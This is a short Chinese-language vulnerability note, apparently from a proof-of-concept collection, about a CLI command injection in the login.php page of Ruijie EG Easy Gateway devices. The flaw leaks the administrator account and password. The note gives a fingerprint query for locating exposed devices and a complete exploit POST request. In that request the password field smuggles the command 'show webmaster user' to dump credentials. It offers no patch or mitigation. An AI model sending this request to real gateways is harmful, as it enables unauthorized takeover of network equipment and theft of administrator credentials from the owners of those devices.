锐捷EG易网关管理员账号密码泄露漏洞.md

锐捷 EG易网关管理员账号密码泄露漏洞

一、漏洞简介
锐捷EG易网关 login.php存在 CLI命令注入，导致管理员账号密码泄露漏洞
二、影响版本

锐捷EG易网关

**三、资产测绘**

app="Ruijie-EG易网关"

●登录页面

**四、漏洞复现**

POST /login.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

username=admin&password=admin?show+webmaster+user


更新: 2024-06-24 11:42:26
原文: https://www.yuque.com/xiaokp7/ocvun2/ewl6ikmuyvguq1ps